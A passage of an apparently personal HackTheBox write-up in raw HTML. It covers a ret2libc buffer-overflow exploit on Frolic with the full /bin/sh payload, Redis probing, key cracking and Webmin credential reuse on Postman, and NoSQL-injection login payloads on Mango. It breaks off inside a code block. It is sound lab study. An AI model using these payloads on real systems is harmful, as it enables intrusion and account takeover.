decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0383.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It repeats whatever you say. This clearly required reverse engineering. I can read some C/C++ code, but I really haven&amp;rsquo;t learned reverse-engineering assembly.&lt;/p&gt;&#10;&lt;p&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;- Here I learned that a buffer-overflow technique was required. So far, I had only determined this:&lt;/p&gt;&#10;&lt;p&gt;It could accept at most aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, or 49 characters.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll leave this part unfinished for now and return after learning buffer overflows.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;This was the second day on this box. OSCP buffer overflows seem fairly basic, and after studying the fundamentals for a day, I understood them.&lt;/p&gt;&#10;&lt;p&gt;I found the rop program again and started analyzing it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0384.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first setuid pushes a 0, meaning root privileges.&lt;/p&gt;&#10;&lt;p&gt;The second location calls the vuln function, passing an eax argument that is ultimately assigned to vuln.&lt;/p&gt;&#10;&lt;p&gt;None of that really matters. Our main goal is to locate EIP.&lt;/p&gt;&#10;&lt;p&gt;Pass an argument directly.&lt;/p&gt;&#10;&lt;p&gt;Use 52 letters to identify the position. You can of course use more characters, as long as they differ.&lt;/p&gt;&#10;&lt;p&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0385.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;52 characters caused an error, but the pointer actually landed at 0x08048400, the deregister_tm_clones function.&lt;/p&gt;&#10;&lt;p&gt;When 4 filler characters were added after those 52 characters, this happened:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0386.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I added 4 characters, all 1s, and their hexadecimal ASCII value appeared. That showed us where EIP was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0387.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Next, locate the target&amp;rsquo;s dynamic-link library.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0388.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Record the address: 0xb7e19000.&lt;/p&gt;&#10;&lt;p&gt;We need two functions here, system and exit, to execute a system command and exit the process.&lt;/p&gt;&#10;&lt;p&gt;We also need the address of the /bin/sh string.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;ww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;15ba0b /bin/sh&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;With the offsets found, just add them using a calculator.&lt;/p&gt;&#10;&lt;p&gt;0xB7E53DA0&lt;/p&gt;&#10;&lt;p&gt;0xB7E479D0&lt;/p&gt;&#10;&lt;p&gt;0xB7F74A0B&lt;/p&gt;&#10;&lt;p&gt;x86 uses little-endian byte order, so the bytes must be reversed.&lt;/p&gt;&#10;&lt;p&gt;\xa0\x3d\xe5\xb7&lt;/p&gt;&#10;&lt;p&gt;\xd0\x79\xe4\xb7&lt;/p&gt;&#10;&lt;p&gt;\x0b\x4a\xf7\xb7&lt;/p&gt;&#10;&lt;p&gt;Write them in recognizable hexadecimal form and concatenate the payload.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;./rop $(echo -e &amp;ldquo;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\xa0\x3d\xe5\xb7\xd0\x79\xe4\xb7\x0b\x4a\xf7\xb7&amp;rdquo;)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0389.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Executing it completed the box. This one taught me some basic buffer-overflow techniques, which was quite useful. Going deeper still seems difficult, but I&amp;rsquo;ll look for more buffer-overflow boxes to study later.&lt;/p&gt;&#10;&lt;h2 id="18postman"&gt;&lt;a href="#18postman" class="header-anchor"&gt;&lt;/a&gt;18.Postman&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0390.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0391.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll just give the results again.&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed no information.&lt;/p&gt;&#10;&lt;p&gt;Port 80 revealed the domain postman.htb, but nothing else. I started directory brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;I focused on Redis on port 6379. It allowed unauthenticated access and was version 4.0.9. Writing a shell failed due to insufficient permissions; writing a scheduled task failed for the same reason; writing a public key also failed for the same reason.&lt;/p&gt;&#10;&lt;p&gt;In other words, it could write files, but lacked permission in many directories. I could try writing a public key into a home directory, but I didn&amp;rsquo;t know what users existed, so I left that possibility open.&lt;/p&gt;&#10;&lt;p&gt;There was also a master-replica technique, but that couldn&amp;rsquo;t be exploited either.&lt;/p&gt;&#10;&lt;p&gt;Port 10000 ran MiniServ 1.910 (Webmin httpd). Kali&amp;rsquo;s search found nothing for this version, but Google did, and the version matched exactly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0392.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite was a password.&lt;/p&gt;&#10;&lt;p&gt;My conclusion so far was that port 22 had no vulnerability. Port 6379 could write files, but not anything that would get a shell; other files could be written without a problem.&lt;/p&gt;&#10;&lt;p&gt;Ports 80 and 10000 were the main focus. I searched for UDP port 10000 and found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;NDMP (Network Data Management Protocol) is a protocol designed specifically for data-backup systems on NAS devices.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;However, NDMP uses TCP port 10000, not UDP. This was still worth noting.&lt;/p&gt;&#10;&lt;p&gt;For now, I brute-forced ports 80 and 10000. The highest priority was finding the password for port 10000 so I could use the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0393.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found something interesting. Accessing it without http produced an error, while using https made it hang briefly. At first I thought a redirect was hanging, but now it looked like the backup file was the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0394.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This field changed with the domain in the request. It definitely looked exploitable to me, but I didn&amp;rsquo;t have many ideas.&lt;/p&gt;&#10;&lt;p&gt;UDP port 10000 was reachable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0395.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried to find client software for this service and connect with it.&lt;/p&gt;&#10;&lt;p&gt;I searched for a long time without finding anything. It seemed to be some kind of NetApp daemon. I couldn&amp;rsquo;t get any information at all, and connecting with nc provided nothing useful.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0396.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The previous result was a false positive. This was actually still Webmin.&lt;/p&gt;&#10;&lt;p&gt;I had no other options. The framework on port 10000 was currently the clearest lead, so I searched for more PoCs, but still got nowhere.&lt;/p&gt;&#10;&lt;p&gt;I went back over everything. Redis on port 6379 still felt like a dead end, but for thoroughness I searched for version-specific vulnerabilities and found another exploit matching the version.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The script wouldn&amp;rsquo;t run and was a little troublesome, but the code was easy enough to read.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0397.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0398.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually all that was needed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0399.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Connected successfully.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege-escalation enumeration. The key points were fairly easy to find thanks to LinEnum.sh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0400.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0401.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The encrypted value above was obvious, so I passed it straight to John.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0402.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0403.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection was closed immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0404.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried connecting locally from the target, but even that failed.&lt;/p&gt;&#10;&lt;p&gt;Very strange. I could only inspect the SSH configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0405.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Login was disabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0406.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The key&amp;rsquo;s passphrase was actually the account password. I switched users successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0407.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Continuing privilege escalation, I found several interesting files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0408.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually running as root. In other words, we couldn&amp;rsquo;t get in without its password, but if we found the password, exploiting it would grant root privileges. The password was probably all that remained, because I had searched many files and tried many things without finding another escalation path.&lt;/p&gt;&#10;&lt;p&gt;We couldn&amp;rsquo;t read most of that directory, so I used find to inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0409.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing after reading it all. I could only Google where its password file was stored.&lt;/p&gt;&#10;&lt;p&gt;/etc/webmin/miniserv.users&lt;/p&gt;&#10;&lt;p&gt;But that file was inaccessible.&lt;/p&gt;&#10;&lt;p&gt;/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456&lt;/p&gt;&#10;&lt;p&gt;This command could change it, but I didn&amp;rsquo;t have permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0410.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found this. We currently had Matt&amp;rsquo;s password, so let&amp;rsquo;s try logging in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0411.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It actually worked. Whenever credentials successfully log in somewhere, try credential reuse against the other services.&lt;/p&gt;&#10;&lt;p&gt;Not noticing that immediately wasted a lot of my time.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/roughiz/Webmin-1.910-Exploit-Script" target="_blank" rel="noopener"&#10; &gt;https://github.com/roughiz/Webmin-1.910-Exploit-Script&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The code needed a small change. I didn&amp;rsquo;t have the termcolor package, and it wasn&amp;rsquo;t important anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0412.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0413.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I had been blindly overconfident about Redis here. First, I didn&amp;rsquo;t try an exploit specifically targeting version 4.0.9. Second, I noticed many things but failed to try the most important one: credential reuse.&lt;/p&gt;&#10;&lt;p&gt;Everything else was fine.&lt;/p&gt;&#10;&lt;h2 id="19mango"&gt;&lt;a href="#19mango" class="header-anchor"&gt;&lt;/a&gt;19.Mango&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0414.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0415.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0416.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was only one page. Port 22 had nothing, port 80 returned 403, and HTTPS on port 443 served this page. I couldn&amp;rsquo;t find anything hidden.&lt;/p&gt;&#10;&lt;p&gt;Searching for the page returned no results, and I didn&amp;rsquo;t know what that endpoint was doing.&lt;/p&gt;&#10;&lt;p&gt;nmap didn&amp;rsquo;t identify the framework, and neither did WhatWeb&amp;rsquo;s fingerprints.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0417.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But its title was mango search base, so I could check whether that was a framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0418.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The versions were all different. I decided to try a few.&lt;/p&gt;&#10;&lt;p&gt;As I started testing, I noticed that directory brute-forcing had returned something.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0419.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was 390,000 bytes. It existed on the home page, but at the time I saw nothing in it and ignored it. That was a mistake in my process.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0420.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This counted as an error. If the directory wordlist hadn&amp;rsquo;t included it, I would have wasted much more time. Let&amp;rsquo;s inspect it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0421.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Many JavaScript calls failed because they were all remote calls.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0422.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was lots of data here, but it couldn&amp;rsquo;t be loaded, so the page displayed nothing. I prefer analyzing JavaScript in Chrome; Firefox is too awkward to use.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0423.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After accessing it, I found that the JavaScript here somehow worked, even though it was exactly the same request.&lt;/p&gt;&#10;&lt;p&gt;I started looking for endpoints on the current page. After a long time, it seemed to be implemented entirely in JavaScript—or perhaps I simply failed to find an endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0424.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did find something in index.php: adding any parameter after index.php always produced a response like this. It wasn&amp;rsquo;t useful.&lt;/p&gt;&#10;&lt;p&gt;But the SSL certificate actually contained more information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0425.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0426.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the outer site had nothing, but this one did. Time to brute-force it.&lt;/p&gt;&#10;&lt;p&gt;After trying for ages and finding nothing, I had to read a write-up for the next step. It explained that mongo referred to MongoDB on the backend, and that we needed to exploit NoSQL injection. When an image, domain name, or anything else provides an obvious hint, remember to Google it and look for a matching vulnerability.&lt;/p&gt;&#10;&lt;p&gt;When I searched for mongo, the results kept showing MongoDB, but I assumed they were unrelated. It turned out NoSQL was involved too. Another lesson learned.&lt;/p&gt;&#10;&lt;p&gt;Once I knew the entry point, I started testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0427.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0428.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could get in, but it said access was denied. I checked whether I could write a shell, but it didn&amp;rsquo;t seem able to write files.&lt;/p&gt;&#10;&lt;p&gt;Logging in didn&amp;rsquo;t work either, leaving only one approach: since injection existed, we needed to extract the password and try credential reuse. This was very similar to the previous box.&lt;/p&gt;&#10;&lt;p&gt;However, OSCP almost entirely prohibits automated penetration-testing scripts, and one-click NoSQL injection tools didn&amp;rsquo;t seem to be allowed. I had to learn NoSQL syntax from scratch here.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;After a little over 1 hour of crash-course study, I found the target technique here:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The [$regex] function provides functionality much like substr.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0429.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its usage is shown here and looks straightforward. We only need a character set.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0430.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The character set is string.printable. Remove the unwanted characters from that set, then iterate through the rest one by one. A successful login returns 302.&lt;/p&gt;&#10;&lt;p&gt;This relied almost entirely on that article, but there was still a drawback: we couldn&amp;rsquo;t discover the username. admin was the default, but I didn&amp;rsquo;t believe it was the only user.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s extract the admin password first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0431.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The admin password has 12 characters. Payload:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username=admin&amp;amp;password[$regex]=.{§1§}&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I continued learning MongoDB and NoSQL injection syntax and found a crucial point.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;The line above is the payload. The linked article described a statement for brute-forcing password, and the same approach works for username.&lt;/p&gt;&#10;&lt;p&gt;Constructing username[$regex]=^a.* creates a regular expression that returns a result if a username beginning with a exists. This resembles the a* enumeration vulnerabilities I encountered before: a*, ad*, adm*, admi*, and so on.&lt;/p&gt;&#10;&lt;p&gt;This lets us brute-force usernames, but there is another prerequisite: even if the username is correct, we don&amp;rsquo;t have the corresponding account password. Adding the earlier wildcard condition password[$ne]=1 lets us construct a PoC.&lt;/p&gt;&#10;&lt;p&gt;PoC logic: first brute-force the username by iterating over every character. If a exists, add it to the list by itself, then brute-force the following character. Whenever a different response appears, append that character. On the second pass, try (a) plus every character, and continue appending whenever a different response appears. If the nth pass over all characters returns nothing, the complete username has been extracted. A 302 response is the indicator of a successful login.&lt;/p&gt;&#10;&lt;p&gt;The same code can be reused to brute-force passwords; the logic is identical.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span 